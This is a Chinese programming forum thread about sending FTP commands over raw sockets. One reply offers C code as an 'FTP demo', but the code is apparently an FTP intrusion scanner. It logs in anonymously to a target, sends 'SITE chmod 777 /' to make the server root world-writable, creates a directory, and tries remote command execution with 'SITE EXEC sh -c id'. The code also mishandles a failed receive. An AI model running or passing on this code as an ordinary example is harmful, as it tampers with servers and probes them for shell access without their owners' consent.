connect与远程计算机21端口建立tcp连接(不需要binding端口)直接send FTP的命令,具体看ftp协议就可以了啊然后recv返回的信息就可以了啊!

解决方案 »

  1.   

    正好我这里有一段FTP演示,如果你看到的代码没有缩进,就点“管理”重新进来查看。char *GetData(int SockFD,char *buffer)
    {
    //非阻塞方式接收数据

    char data[2001];
    unsigned long on=1;
    unsigned long off=0;
    char waste[2001];
    int p, i=1;
    int t;

    memset(data,0,2001);
    p=ioctlsocket(SockFD,FIONBIO,&on);
    memset(waste,0,2001);
    for(t=1;t<10;t++){
    i=recv(SockFD, waste, 2000, 0);
    if(i>0)
    break;
    Sleep(500);
    }
    waste[i]='\0';
    strncat(data,waste,2000);
    strncpy( buffer, data, 2000 );
    return buffer;
    }
    UINT FtpScan(LPVOID pParam)
    { int port=21;
    char* rbuff=( char * )malloc( 2000 * sizeof( char ) );
    SOCKET sockfd;
    SOCKADDR_IN addr;
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd < 0) 
    {

    //"无法建立socket"
            free(rbuff);
    return 0;
    }
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);
    addr.sin_addr.s_addr = inet_addr(strScanTarget);
    if(connect(sockfd,(struct sockaddr *) &addr, sizeof(addr))<0)
    {
    //"目标没有开放FTP服务..."
                    free(rbuff);
    return 0;
    }
    //"FTP服务器的Banner:"

    rbuff = GetData(sockfd,rbuff);
    //处理rbuff

    send(sockfd,"USER anonymous\r\n",sizeof("USER anonymous\r\n"),0);//匿名登陆

    rbuff = GetData(sockfd,rbuff);
    if(strstr(rbuff,"331")==NULL)
    {
    //"没有匿名登陆...Ftp扫描完毕。"
                    free(rbuff);
    return 0;
    }

    send(sockfd,"PASS [email protected]\r\n",sizeof("PASS [email protected]\r\n"),0);

    rbuff = GetData(sockfd,rbuff);

    send(sockfd,"LIST\r\n",sizeof("LIST\r\n"),0);//跟目录

    rbuff = GetData(sockfd,rbuff); send(sockfd,"SITE chmod 777 /\r\n",sizeof("SITE chmod 777 /\r\n"),0);//修改属性

    rbuff = GetData(sockfd,rbuff); send(sockfd,"MKDIR DirTest\r\n",sizeof("MKDIR DirTest\r\n"),0);   //建立目录
    rbuff = GetData(sockfd,rbuff);

    send(sockfd,"SITE EXEC sh -c id\r\n",sizeof("SITE EXEC sh -c id\r\n"),0);//执行Shell

    rbuff = GetData(sockfd,rbuff);
    send(sockfd,"QUIT\r\n",sizeof("QUIT\r\n"),0); //退出
    rbuff = GetData(sockfd,rbuff);

    closesocket(sockfd);
    free(rbuff);

    return 0;
    }
      

  2.   

    ftp协议啊。你到CSDN开发文档里面搜索 "rfc"或者"ftp"就能找到
      

  3.   

    我在本地机器有一个目录doc,远端服务器上也有一个目录doc,如何保持他们的内容相同,同时每次运行数据的传数量比较小